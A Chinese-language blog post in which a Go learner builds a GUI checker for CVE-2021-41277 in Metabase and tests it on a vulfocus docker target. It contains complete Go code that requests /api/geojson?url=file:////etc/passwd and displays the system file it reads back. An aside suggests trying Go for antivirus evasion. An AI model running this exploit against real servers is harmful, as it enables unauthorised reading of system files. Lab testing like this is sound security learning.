起因

因为初学golang语言,所以尝试编写一个小工具,巩固一下以前学习过的知识。go本身拥有很多库的,我觉得优势在于灵活轻巧,但是执行性能比较差。技术牛逼的可以试试用golang玩玩免杀,go还可以兼容C语言。

编写思路

我打算拿cve-2021-41277的poc来测试,去github基佬交流网搜一下即可

有3个部分:

  1. 输入,输入的参数,如url、ip等值。

  2. 点击(功能实现),使用buttun按钮,点击后跳转到实现功能函数

  1. 内容输出,将函数实现后的回显在这个地方。

最终效果图:

实现过程

IsVulnerable函数实现的代码,这个是根据github上找到的脚本改来的,把多线程的改成单线程的。Go的写法很通俗,各位很直观就能改。无法就是根据返回包的内容,来返回result的值。

整个工具的代码

package main


import (
"io"
"log"
"net/http"
"os"
"strings"
"time"


"fyne.io/fyne/v2"
"fyne.io/fyne/v2/app"
"fyne.io/fyne/v2/container"
"fyne.io/fyne/v2/layout"
"fyne.io/fyne/v2/widget"
"github.com/flopp/go-findfont"
)
//初始化工具的文字,让它能识别汉字,这个函数自行选择保存或删除,加了go run时会比较卡
func init() {
fontPaths := findfont.List()
for _, path := range fontPaths {
if strings.Contains(path, "simkai.ttf") {
os.Setenv("FYNE_FONT", path)
}
}
}


func main() {


myApp := app.New()
//工具的标题
myWin := myApp.NewWindow("CVE-2021-41277测试工具")
//整个框架的大小
myWin.Resize(fyne.NewSize(700, 430))
myWin.SetFixedSize(true)
nameEntry := widget.NewMultiLineEntry()
nameEntry.Wrapping = fyne.TextWrapWord
nameEntry.SetPlaceHolder("please input your url")
tab := widget.NewMultiLineEntry()
testBtn := widget.NewButton("Expolit", func() {
nameEntry.Text = strings.TrimRight(nameEntry.Text, "/")
tab.SetText(IsVulnerable(nameEntry.Text))
})
//这个显示整个的布局规划,有nameEntry(输入)、testBtn(按钮)、tab输出,这里有一个小细节,fyne.NewSize(690, 300)的690宽度要比整个框架的700小一点,不然会不会吃掉滑动条
content := container.New(layout.NewVBoxLayout(), nameEntry, testBtn, container.New(layout.NewGridWrapLayout(fyne.NewSize(690, 300)), tab))
myWin.SetContent(content)
myWin.ShowAndRun()


}


func IsVulnerable(target string) (result string) {
url := target + "/api/geojson?url=file:////etc/passwd"
client := http.Client{
Timeout: 15 * time.Second,
}
resp, err := client.Get(url)
if err != nil {
result = "存在异常\n" + err.Error()
} else {
if resp.StatusCode == http.StatusOK {
bodyBytes, err := io.ReadAll(resp.Body)
if err != nil {
log.Fatal(err)
result = "存在异常\n" + err.Error()
}
bodyString := string(bodyBytes)
if strings.Contains(bodyString, "root:") {
result = target + "存在漏洞\n [" + url + "]\n" + bodyString
}
} else {
result = target + "不存在漏洞"
}


}
return result
}


/* 预言哥教的第二种写法,代码比较优雅简洁
import (
"github.com/go-resty/resty/v2"
)


func IsVulnerable(target string) (result string) {
client := resty.New()
target = strings.TrimRight(target, "/")
url := target + "/api/geojson?url=file:////etc/passwd"
resp, _ := client.R().EnableTrace().Get(url)


if resp.StatusCode() == 200 && strings.Contains(string(resp.Body()), "root:") {
result = string(resp.Body())
} else {
result = target + " 不存在漏洞"
}


return result


}
*/

靶机测试

//部署靶机
docker pull vulfocus/metabase-cve_2021_41277:latest
//查看部署的docker
docker ps -a
//启动docker,CONTAINER ID为对应的靶机的id
docker start [CONTAINER ID ]
//运行go代码
go run CVE-2021-41277-gogui.go

拿url测试下,效果如下:

参考链接

https://github.com/tahtaciburak/CVE-2021-41277

https://github.com/healthjimmy/Some-scripts

彩蛋

放一句预言哥的名言作为结尾